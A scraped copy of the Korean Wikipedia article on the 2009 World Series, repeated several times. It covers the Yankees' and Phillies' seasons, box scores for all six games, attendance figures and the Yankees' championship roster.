임기를 마치고 물러난 팻 길릭의 뒤를 이어 루벤 아마로 주니어가 단장으로 취임했다. FA로 팀을 떠난 팻 버렐의 공백을 메우기 위해 라울 이바네즈를 FA로 영입했으며, 구원 투수 J.C. 로메로가 메이저 리그 약물 정책을 위반하여 50경기 출장 정지 조치를 받은 자리를 채우기 위하여 FA 투수였던 박찬호를 영입했다. 그러나 박찬호는 스프링캠프에 5선발 후보로써 합류하였다. 정규 시즌동안 필라델피아 필리스는 5월 30일 동부 지구 1위에 오른 이후 선두자리를 유지했다. 또한 트레이드 데드 라인 시점에서 클리블랜드 인디언스에 유망주 4명을 내주는 조건으로 투수 클리프 리와 외야수 벤 프란시스코를 데려왔다. 클리프 리는 필라델피아에서 가진 12번의 선발 기회에서 7승을 따내는 활약을 펼쳤으며 라울 이바네즈는 시즌 초반 3할이 넘는 타율과 17홈런 46타점을 기록하며 맹활약했으나 6월 중순 부상을 당했고, 부상 이후로는 어떠한 달에서 월 타율 2할 6푼을 넘기지 못했다. 비록 MVP 후보로 손꼽히던 라울 이바네즈가 실망스러운 시즌을 보냈으나 팀 동료였던 라이언 하워드와 체이스 어틀리는 시즌 내내 맹활약을 선보이며 각각 MVP 투표 3위와 8위에 올랐다. 결국 필리스는 93승 69패 (승률 0.574)로 2위 플로리다 말린스를 6경기차로 제치며 리그 우승에 성공했다. 포스트 시즌에서 필리스는 내셔널 리그 디비전 시리즈에서 콜로라도 로키스와 경기를 치렀으며 3승 1패로 내셔널 리그 챔피언십 시리즈에 진출, LA 다저스와 경기를 치러 4승 1패로 월드 시리즈에 진출했다. 1995년-1996년 애틀랜타 브레이브스 이후 최초의 내셔널 리그 2연패이자 2000년-2001년 뉴욕 양키스 이후 처음으로 월드시리즈 2년 연속 진출에 성공했다. 라이언 하워드는 내셔널리그 챔피언십 시리즈에서 훌륭한 공격력을 보여주며 시리즈 MVP에 올랐다. 뉴욕 양키스[편집] 양키스의 오프 시즌은 2008년 11월, 오랫동안 팀을 이끌었던 '빅 보스' 조지 스타인브레너가 구단주 자리를 아들 할 스타인브레너에게 양도했다. 이후 팀은 전반적인 개혁 작업에 착수했는데 이미 2008년 11월 20일, 은퇴를 선언한 마이크 무시나의 뒤를 이어 바비 어브레이유, 제이슨 지암비와 칼 파바노를 떠나보냈다. 빈 자리를 메우기 위해 투수 CC 사바시아와 A.J. 버넷을 FA 영입한데 이어 1루수 마크 테세이라를 영입하고 시카고 화이트 삭스로부터 닉 스위셔를 트레이드 영입했다. 양키스는 2009년, 85년간 사용했던 "올드" 양키 스타디움을 떠나 새로운 양키 스타디움에서 첫 시즌을 맞았다. 그들은 19승을 거둔 사바시아와 30홈런-100타점의 알렉스 로드리게스, 39홈런-122타점의 텍세이라의 활약과 함께 103승 59패라는 호성적을 기록하며 지구 라이벌 보스턴 레드 삭스를 누르고 지구 우승을 차지했다. 마무리 투수 마리아노 리베라는 메츠전에서 통산 500 세이브 달성에 성공했고, 2009년 9월 11일 데릭 지터는 2,722호 안타를 기록하며 양키스 레전드 루 게릭의 양키스 소속 통산 최다 안타 기록을 경신했다. 뉴욕 양키스는 아메리칸 리그 디비전 시리즈에서 미네소타 트윈스와 경기를 치렀으며 3승 0패로 아메리칸 리그 챔피언십 시리즈에 진출, LA 에인절스와 경기를 치러 4승 2패로 월드 시리즈에 진출했다. 사바시아는 아메리칸 리그 챔피언십 시리즈 MVP에 올랐으며, 양키스는 플로리다와의 2003년 월드 시리즈 이후 처음으로 40번째 월드시리즈 무대를 밟았다. 경기 결과[편집] 1차전[편집] 필라델피아 선발 클리프 리가 2009년 정규시즌 투구하는 모습. 2009년 10월 28일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 1 0 2 2 6 9 1 {{{원정팀볼넷}}} 뉴욕 0 0 0 0 0 0 0 0 1 1 6 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : CC 사바시아  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(3회 1점, 6회 1점) 2차전[편집] 2009년 10월 29일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 1 0 0 0 0 0 0 0 1 6 0 {{{원정팀볼넷}}} 뉴욕 0 0 0 1 0 1 1 0 X 3 8 0 {{{홈팀볼넷}}} 승리 투수 : A.J. 버넷  패전 투수 : 페드로 마르티네스  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  NYY – 마크 테세이라(4회 1점), 마쓰이 히데키(6회 1점) 3차전[편집] 2009년 10월 31일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 0 0 0 2 3 1 1 1 0 8 8 1 {{{원정팀볼넷}}} 필라델피아 0 3 0 0 0 1 0 0 1 5 6 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 콜 해멀스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  NYY – 알렉스 로드리게스(4회 2점), 닉 스위셔(6회 1점), 마쓰이 히데키(8회 1점)  PHI – 제이슨 워스(2회 1점, 6회 1점), 카를로스 루이스(9회 1점) 4차전[편집] 2009년 11월 1일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 2 0 0 2 0 0 0 0 3 7 9 1 {{{원정팀볼넷}}} 필라델피아 1 0 0 1 0 0 1 1 0 4 8 1 {{{홈팀볼넷}}} 승리 투수 : 조바 챔벌레인  패전 투수 : 브래드 릿지  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(7회 1점), 페드로 펠리즈(8회 1점) 5차전[편집] 2009년 11월 2일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 1 0 0 0 1 0 0 3 1 6 10 0 {{{원정팀볼넷}}} 필라델피아 3 0 3 0 0 0 2 0 X 8 9 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : A.J. 버넷  세이브 : 라이언 맷슨  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(2회 1점, 7회 1점), 라울 이바네즈(7회 1점) 6차전[편집] 2009년 11월 4일, 뉴욕 브롱크스, 양키 스타디움 월드 시리즈 MVP를 차지한 양키스의 마쓰이 히데키. 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 2 0 0 0 3 6 0 {{{원정팀볼넷}}} 뉴욕 0 2 2 0 3 0 0 0 X 7 8 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 페드로 마르티네스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 라이언 하워드(6회 2점)  NYY – 마쓰이 히데키(2회 2점) 시리즈 요약[편집] 뉴욕 양키스가 4승 2패로 우승을 차지했고, MVP는 뉴욕 양키스의 지명 타자 마쓰이 히데키가 수상했다. 경기 경기 점수 (원정팀이 앞, 홈팀이 뒤) 날짜 구장 관중 수 1 필라델피아 필리스 – 6, 뉴욕 양키스 – 1 10월 28일 양키 스타디움 50,207명[1] 2 필라델피아 필리스 – 1, 뉴욕 양키스 – 3 10월 29일 양키 스타디움 50,181명[2] 3 뉴욕 양키스 – 8, 필라델피아 필리스 – 5 10월 31일 시티즌스 뱅크 파크 46,061명[3] 4 뉴욕 양키스 – 7, 필라델피아 필리스 – 4 11월 1일 시티즌스 뱅크 파크 46,145명[4] 5 뉴욕 양키스 – 6, 필라델피아 필리스 – 8 11월 2일 시티즌스 뱅크 파크 46,178명[5] 6 필라델피아 필리스 – 3, 뉴욕 양키스 – 7 11월 4일 양키 스타디움 50,315명[6] 이닝 별 득점 현황[편집] 팀 1 2 3 4 5 6 7 8 9 R H E 뉴욕 양키스 3 2 2 5 7 2 2 4 5 32 49 2 필라델피아 필리스 4 4 5 1 0 4 3 3 3 27 44 2 총 관중 수: 289,087명   평균 관중 수: 48,181명 각주[편집] ↑ “Re-Phils for Cliff, Chase” (영어). MLB.com. 2009년 10월 28일. 2011년 7월 13일에 확인함.  ↑ “Father time: Yanks top Pedro” (영어). MLB.com. 2009년 10월 29일. 2011년 7월 13일에 확인함.  ↑ “Lights, camera, action for Yanks” (영어). MLB.com. 2009년 10월 31일. 2011년 7월 13일에 확인함.  ↑ “What is a 3-1 Series lead, Alex?” (영어). MLB.com. 2009년 11월 1일. 2011년 7월 13일에 확인함.  ↑ “Phils cut to the Chase” (영어). MLB.com. 2009년 11월 2일. 2011년 7월 13일에 확인함.  ↑ “Champs in the BronXXVII” (영어). MLB.com. 2009년 11월 4일. 2011년 7월 13일에 확인함.  외부 링크[편집] vdeh월드 시리즈1900년대 1900 · 1901 · 1902 · 1903 1904 1905 1906 1907 1908 1909 1910년대 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920년대 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930년대 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940년대 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950년대 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960년대 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970년대 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980년대 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990년대 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000년대 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010년대 2010 2011 2012 2013 2014 2015 2016 2017 2018 월드 시리즈 역대 우승 팀 목록 월드 시리즈 MVP 커미셔너스 트로피 ALCS NLCS ALDS NLDS vdeh뉴욕 양키스 - 2009년 월드 시리즈 우승 선수 2 데릭 지터 11 브렛 가드너 13 알렉스 로드리게스 14 에릭 힌스키 17 제리 헤어스턴 주니어 18 조니 데이먼 19 라미로 페냐 20 호르헤 포사다 24 로빈슨 카노 25 마크 테세이라 26 호세 몰리나 29 프란시스코 세르벨리 30 데이비드 로버트슨 33 닉 스위셔 34 A.J 버넷 41 채드 고딘 42 마리아노 리베라 43 다마소 마르테 46 앤디 페티트 47 프레디 구즈먼 48 필 코크 52 CC 사바시아 53 멜키 카브레라 55 마쓰이 히데키 (월드시리즈 MVP) 62 조바 체임벌린 65 필 휴즈 91 알프레도 아세베스 99 브라이언 브루니 감독 27 조 지라디 벤치코치 56 토니 페냐 1루코치 50 믹 켈레허 3루코치 59 롭 톰슨 타격코치 54 케빈 롱 투수코치 58 데이브 아일랜드 볼펜코치 57 마이크 하키 원본 주소 "https://ko.wikipedia.org/w/index.php?title=2009년_월드_시리즈&oldid=22398752" 분류: 월드 시리즈2009년 야구2009년 10월2009년 11월숨은 분류: CS1 - 영어 인용 (en) 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglishEspañolFrançaisItaliano日本語LatviešuPortuguêsSimple English中文 링크 편집 이 문서는 2018년 9월 15일 (토) 11:39에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
2009년 월드 시리즈 - 위키백과, 우리 모두의 백과사전 2009년 월드 시리즈 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 2009년 월드 시리즈 팀 리그 승 뉴욕 양키스 아메리칸 리그 4 필라델피아 필리스 내셔널 리그 2 경기 정보 경기 일정 2009년 10월 28일 ~ 11월 4일 MVP 마쓰이 히데키 소속 팀 정보 뉴욕 양키스(아메리칸 리그) 감독 조 지라디 시즌 성적 103승 59패 (동부 지구 1위) 필라델피아 필리스(내셔널 리그) 감독 찰리 매뉴얼 시즌 성적 93승 69패 (동부 지구 1위) 월드 시리즈  < 2008 2010 >  2009년 월드 시리즈(2009 World Series)는 제105회 메이저 리그 베이스볼 월드 시리즈다. 시리즈는 10월 28일부터 11월 4일 까지 치러졌다. 내셔널 리그 우승팀인 필라델피아 필리스와 아메리칸 리그 우승팀인 뉴욕 양키스가 맞붙어 6차전에서 뉴욕 양키스가 필라델피아 필리스를 꺾고 4승 2패로 월드시리즈 우승을 차지했다. MVP는 동양인 최초로 마쓰이 히데키가 수상했다. 이로써 뉴욕 양키스는 2000년 이후 9년 만에 27번째 우승을 차지하게 되었다. 목차 1 포스트 시즌 결과 1.1 필라델피아 필리스 1.2 뉴욕 양키스 2 경기 결과 2.1 1차전 2.2 2차전 2.3 3차전 2.4 4차전 2.5 5차전 2.6 6차전 3 시리즈 요약 3.1 이닝 별 득점 현황 4 각주 5 외부 링크 포스트 시즌 결과[편집] 필라델피아 필리스[편집] 오프 시즌 동안 3년간의 임기를 마치고 물러난 팻 길릭의 뒤를 이어 루벤 아마로 주니어가 단장으로 취임했다. FA로 팀을 떠난 팻 버렐의 공백을 메우기 위해 라울 이바네즈를 FA로 영입했으며, 구원 투수 J.C. 로메로가 메이저 리그 약물 정책을 위반하여 50경기 출장 정지 조치를 받은 자리를 채우기 위하여 FA 투수였던 박찬호를 영입했다. 그러나 박찬호는 스프링캠프에 5선발 후보로써 합류하였다. 정규 시즌동안 필라델피아 필리스는 5월 30일 동부 지구 1위에 오른 이후 선두자리를 유지했다. 또한 트레이드 데드 라인 시점에서 클리블랜드 인디언스에 유망주 4명을 내주는 조건으로 투수 클리프 리와 외야수 벤 프란시스코를 데려왔다. 클리프 리는 필라델피아에서 가진 12번의 선발 기회에서 7승을 따내는 활약을 펼쳤으며 라울 이바네즈는 시즌 초반 3할이 넘는 타율과 17홈런 46타점을 기록하며 맹활약했으나 6월 중순 부상을 당했고, 부상 이후로는 어떠한 달에서 월 타율 2할 6푼을 넘기지 못했다. 비록 MVP 후보로 손꼽히던 라울 이바네즈가 실망스러운 시즌을 보냈으나 팀 동료였던 라이언 하워드와 체이스 어틀리는 시즌 내내 맹활약을 선보이며 각각 MVP 투표 3위와 8위에 올랐다. 결국 필리스는 93승 69패 (승률 0.574)로 2위 플로리다 말린스를 6경기차로 제치며 리그 우승에 성공했다. 포스트 시즌에서 필리스는 내셔널 리그 디비전 시리즈에서 콜로라도 로키스와 경기를 치렀으며 3승 1패로 내셔널 리그 챔피언십 시리즈에 진출, LA 다저스와 경기를 치러 4승 1패로 월드 시리즈에 진출했다. 1995년-1996년 애틀랜타 브레이브스 이후 최초의 내셔널 리그 2연패이자 2000년-2001년 뉴욕 양키스 이후 처음으로 월드시리즈 2년 연속 진출에 성공했다. 라이언 하워드는 내셔널리그 챔피언십 시리즈에서 훌륭한 공격력을 보여주며 시리즈 MVP에 올랐다. 뉴욕 양키스[편집] 양키스의 오프 시즌은 2008년 11월, 오랫동안 팀을 이끌었던 '빅 보스' 조지 스타인브레너가 구단주 자리를 아들 할 스타인브레너에게 양도했다. 이후 팀은 전반적인 개혁 작업에 착수했는데 이미 2008년 11월 20일, 은퇴를 선언한 마이크 무시나의 뒤를 이어 바비 어브레이유, 제이슨 지암비와 칼 파바노를 떠나보냈다. 빈 자리를 메우기 위해 투수 CC 사바시아와 A.J. 버넷을 FA 영입한데 이어 1루수 마크 테세이라를 영입하고 시카고 화이트 삭스로부터 닉 스위셔를 트레이드 영입했다. 양키스는 2009년, 85년간 사용했던 "올드" 양키 스타디움을 떠나 새로운 양키 스타디움에서 첫 시즌을 맞았다. 그들은 19승을 거둔 사바시아와 30홈런-100타점의 알렉스 로드리게스, 39홈런-122타점의 텍세이라의 활약과 함께 103승 59패라는 호성적을 기록하며 지구 라이벌 보스턴 레드 삭스를 누르고 지구 우승을 차지했다. 마무리 투수 마리아노 리베라는 메츠전에서 통산 500 세이브 달성에 성공했고, 2009년 9월 11일 데릭 지터는 2,722호 안타를 기록하며 양키스 레전드 루 게릭의 양키스 소속 통산 최다 안타 기록을 경신했다. 뉴욕 양키스는 아메리칸 리그 디비전 시리즈에서 미네소타 트윈스와 경기를 치렀으며 3승 0패로 아메리칸 리그 챔피언십 시리즈에 진출, LA 에인절스와 경기를 치러 4승 2패로 월드 시리즈에 진출했다. 사바시아는 아메리칸 리그 챔피언십 시리즈 MVP에 올랐으며, 양키스는 플로리다와의 2003년 월드 시리즈 이후 처음으로 40번째 월드시리즈 무대를 밟았다. 경기 결과[편집] 1차전[편집] 필라델피아 선발 클리프 리가 2009년 정규시즌 투구하는 모습. 2009년 10월 28일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 1 0 2 2 6 9 1 {{{원정팀볼넷}}} 뉴욕 0 0 0 0 0 0 0 0 1 1 6 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : CC 사바시아  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(3회 1점, 6회 1점) 2차전[편집] 2009년 10월 29일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 1 0 0 0 0 0 0 0 1 6 0 {{{원정팀볼넷}}} 뉴욕 0 0 0 1 0 1 1 0 X 3 8 0 {{{홈팀볼넷}}} 승리 투수 : A.J. 버넷  패전 투수 : 페드로 마르티네스  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  NYY – 마크 테세이라(4회 1점), 마쓰이 히데키(6회 1점) 3차전[편집] 2009년 10월 31일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 0 0 0 2 3 1 1 1 0 8 8 1 {{{원정팀볼넷}}} 필라델피아 0 3 0 0 0 1 0 0 1 5 6 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 콜 해멀스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  NYY – 알렉스 로드리게스(4회 2점), 닉 스위셔(6회 1점), 마쓰이 히데키(8회 1점)  PHI – 제이슨 워스(2회 1점, 6회 1점), 카를로스 루이스(9회 1점) 4차전[편집] 2009년 11월 1일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 2 0 0 2 0 0 0 0 3 7 9 1 {{{원정팀볼넷}}} 필라델피아 1 0 0 1 0 0 1 1 0 4 8 1 {{{홈팀볼넷}}} 승리 투수 : 조바 챔벌레인  패전 투수 : 브래드 릿지  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(7회 1점), 페드로 펠리즈(8회 1점) 5차전[편집] 2009년 11월 2일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 1 0 0 0 1 0 0 3 1 6 10 0 {{{원정팀볼넷}}} 필라델피아 3 0 3 0 0 0 2 0 X 8 9 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : A.J. 버넷  세이브 : 라이언 맷슨  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(2회 1점, 7회 1점), 라울 이바네즈(7회 1점) 6차전[편집] 2009년 11월 4일, 뉴욕 브롱크스, 양키 스타디움 월드 시리즈 MVP를 차지한 양키스의 마쓰이 히데키. 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 2 0 0 0 3 6 0 {{{원정팀볼넷}}} 뉴욕 0 2 2 0 3 0 0 0 X 7 8 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 페드로 마르티네스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 라이언 하워드(6회 2점)  NYY – 마쓰이 히데키(2회 2점) 시리즈 요약[편집] 뉴욕 양키스가 4승 2패로 우승을 차지했고, MVP는 뉴욕 양키스의 지명 타자 마쓰이 히데키가 수상했다. 경기 경기 점수 (원정팀이 앞, 홈팀이 뒤) 날짜 구장 관중 수 1 필라델피아 필리스 – 6, 뉴욕 양키스 – 1 10월 28일 양키 스타디움 50,207명[1] 2 필라델피아 필리스 – 1, 뉴욕 양키스 – 3 10월 29일 양키 스타디움 50,181명[2] 3 뉴욕 양키스 – 8, 필라델피아 필리스 – 5 10월 31일 시티즌스 뱅크 파크 46,061명[3] 4 뉴욕 양키스 – 7, 필라델피아 필리스 – 4 11월 1일 시티즌스 뱅크 파크 46,145명[4] 5 뉴욕 양키스 – 6, 필라델피아 필리스 – 8 11월 2일 시티즌스 뱅크 파크 46,178명[5] 6 필라델피아 필리스 – 3, 뉴욕 양키스 – 7 11월 4일 양키 스타디움 50,315명[6] 이닝 별 득점 현황[편집] 팀 1 2 3 4 5 6 7 8 9 R H E 뉴욕 양키스 3 2 2 5 7 2 2 4 5 32 49 2 필라델피아 필리스 4 4 5 1 0 4 3 3 3 27 44 2 총 관중 수: 289,087명   평균 관중 수: 48,181명 각주[편집] ↑ “Re-Phils for Cliff, Chase” (영어). MLB.com. 2009년 10월 28일. 2011년 7월 13일에 확인함.  ↑ “Father time: Yanks top Pedro” (영어). MLB.com. 2009년 10월 29일. 2011년 7월 13일에 확인함.  ↑ “Lights, camera, action for Yanks” (영어). MLB.com. 2009년 10월 31일. 2011년 7월 13일에 확인함.  ↑ “What is a 3-1 Series lead, Alex?” (영어). MLB.com. 2009년 11월 1일. 2011년 7월 13일에 확인함.  ↑ “Phils cut to the Chase” (영어). MLB.com. 2009년 11월 2일. 2011년 7월 13일에 확인함.  ↑ “Champs in the BronXXVII” (영어). MLB.com. 2009년 11월 4일. 2011년 7월 13일에 확인함.  외부 링크[편집] vdeh월드 시리즈1900년대 1900 · 1901 · 1902 · 1903 1904 1905 1906 1907 1908 1909 1910년대 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920년대 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930년대 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940년대 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950년대 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960년대 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970년대 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980년대 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990년대 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000년대 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010년대 2010 2011 2012 2013 2014 2015 2016 2017 2018 월드 시리즈 역대 우승 팀 목록 월드 시리즈 MVP 커미셔너스 트로피 ALCS NLCS ALDS NLDS vdeh뉴욕 양키스 - 2009년 월드 시리즈 우승 선수 2 데릭 지터 11 브렛 가드너 13 알렉스 로드리게스 14 에릭 힌스키 17 제리 헤어스턴 주니어 18 조니 데이먼 19 라미로 페냐 20 호르헤 포사다 24 로빈슨 카노 25 마크 테세이라 26 호세 몰리나 29 프란시스코 세르벨리 30 데이비드 로버트슨 33 닉 스위셔 34 A.J 버넷 41 채드 고딘 42 마리아노 리베라 43 다마소 마르테 46 앤디 페티트 47 프레디 구즈먼 48 필 코크 52 CC 사바시아 53 멜키 카브레라 55 마쓰이 히데키 (월드시리즈 MVP) 62 조바 체임벌린 65 필 휴즈 91 알프레도 아세베스 99 브라이언 브루니 감독 27 조 지라디 벤치코치 56 토니 페냐 1루코치 50 믹 켈레허 3루코치 59 롭 톰슨 타격코치 54 케빈 롱 투수코치 58 데이브 아일랜드 볼펜코치 57 마이크 하키 원본 주소 "https://ko.wikipedia.org/w/index.php?title=2009년_월드_시리즈&oldid=22398752" 분류: 월드 시리즈2009년 야구2009년 10월2009년 11월숨은 분류: CS1 - 영어 인용 (en) 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglishEspañolFrançaisItaliano日本語LatviešuPortuguêsSimple English中文 링크 편집 이 문서는 2018년 9월 15일 (토) 11:39에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
2009년 월드 시리즈 - 위키백과, 우리 모두의 백과사전 2009년 월드 시리즈 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 2009년 월드 시리즈 팀 리그 승 뉴욕 양키스 아메리칸 리그 4 필라델피아 필리스 내셔널 리그 2 경기 정보 경기 일정 2009년 10월 28일 ~ 11월 4일 MVP 마쓰이 히데키 소속 팀 정보 뉴욕 양키스(아메리칸 리그) 감독 조 지라디 시즌 성적 103승 59패 (동부 지구 1위) 필라델피아 필리스(내셔널 리그) 감독 찰리 매뉴얼 시즌 성적 93승 69패 (동부 지구 1위) 월드 시리즈  < 2008 2010 >  2009년 월드 시리즈(2009 World Series)는 제105회 메이저 리그 베이스볼 월드 시리즈다. 시리즈는 10월 28일부터 11월 4일 까지 치러졌다. 내셔널 리그 우승팀인 필라델피아 필리스와 아메리칸 리그 우승팀인 뉴욕 양키스가 맞붙어 6차전에서 뉴욕 양키스가 필라델피아 필리스를 꺾고 4승 2패로 월드시리즈 우승을 차지했다. MVP는 동양인 최초로 마쓰이 히데키가 수상했다. 이로써 뉴욕 양키스는 2000년 이후 9년 만에 27번째 우승을 차지하게 되었다. 목차 1 포스트 시즌 결과 1.1 필라델피아 필리스 1.2 뉴욕 양키스 2 경기 결과 2.1 1차전 2.2 2차전 2.3 3차전 2.4 4차전 2.5 5차전 2.6 6차전 3 시리즈 요약 3.1 이닝 별 득점 현황 4 각주 5 외부 링크 포스트 시즌 결과[편집] 필라델피아 필리스[편집] 오프 시즌 동안 3년간의 임기를 마치고 물러난 팻 길릭의 뒤를 이어 루벤 아마로 주니어가 단장으로 취임했다. FA로 팀을 떠난 팻 버렐의 공백을 메우기 위해 라울 이바네즈를 FA로 영입했으며, 구원 투수 J.C. 로메로가 메이저 리그 약물 정책을 위반하여 50경기 출장 정지 조치를 받은 자리를 채우기 위하여 FA 투수였던 박찬호를 영입했다. 그러나 박찬호는 스프링캠프에 5선발 후보로써 합류하였다. 정규 시즌동안 필라델피아 필리스는 5월 30일 동부 지구 1위에 오른 이후 선두자리를 유지했다. 또한 트레이드 데드 라인 시점에서 클리블랜드 인디언스에 유망주 4명을 내주는 조건으로 투수 클리프 리와 외야수 벤 프란시스코를 데려왔다. 클리프 리는 필라델피아에서 가진 12번의 선발 기회에서 7승을 따내는 활약을 펼쳤으며 라울 이바네즈는 시즌 초반 3할이 넘는 타율과 17홈런 46타점을 기록하며 맹활약했으나 6월 중순 부상을 당했고, 부상 이후로는 어떠한 달에서 월 타율 2할 6푼을 넘기지 못했다. 비록 MVP 후보로 손꼽히던 라울 이바네즈가 실망스러운 시즌을 보냈으나 팀 동료였던 라이언 하워드와 체이스 어틀리는 시즌 내내 맹활약을 선보이며 각각 MVP 투표 3위와 8위에 올랐다. 결국 필리스는 93승 69패 (승률 0.574)로 2위 플로리다 말린스를 6경기차로 제치며 리그 우승에 성공했다. 포스트 시즌에서 필리스는 내셔널 리그 디비전 시리즈에서 콜로라도 로키스와 경기를 치렀으며 3승 1패로 내셔널 리그 챔피언십 시리즈에 진출, LA 다저스와 경기를 치러 4승 1패로 월드 시리즈에 진출했다. 1995년-1996년 애틀랜타 브레이브스 이후 최초의 내셔널 리그 2연패이자 2000년-2001년 뉴욕 양키스 이후 처음으로 월드시리즈 2년 연속 진출에 성공했다. 라이언 하워드는 내셔널리그 챔피언십 시리즈에서 훌륭한 공격력을 보여주며 시리즈 MVP에 올랐다. 뉴욕 양키스[편집] 양키스의 오프 시즌은 2008년 11월, 오랫동안 팀을 이끌었던 '빅 보스' 조지 스타인브레너가 구단주 자리를 아들 할 스타인브레너에게 양도했다. 이후 팀은 전반적인 개혁 작업에 착수했는데 이미 2008년 11월 20일, 은퇴를 선언한 마이크 무시나의 뒤를 이어 바비 어브레이유, 제이슨 지암비와 칼 파바노를 떠나보냈다. 빈 자리를 메우기 위해 투수 CC 사바시아와 A.J. 버넷을 FA 영입한데 이어 1루수 마크 테세이라를 영입하고 시카고 화이트 삭스로부터 닉 스위셔를 트레이드 영입했다. 양키스는 2009년, 85년간 사용했던 "올드" 양키 스타디움을 떠나 새로운 양키 스타디움에서 첫 시즌을 맞았다. 그들은 19승을 거둔 사바시아와 30홈런-100타점의 알렉스 로드리게스, 39홈런-122타점의 텍세이라의 활약과 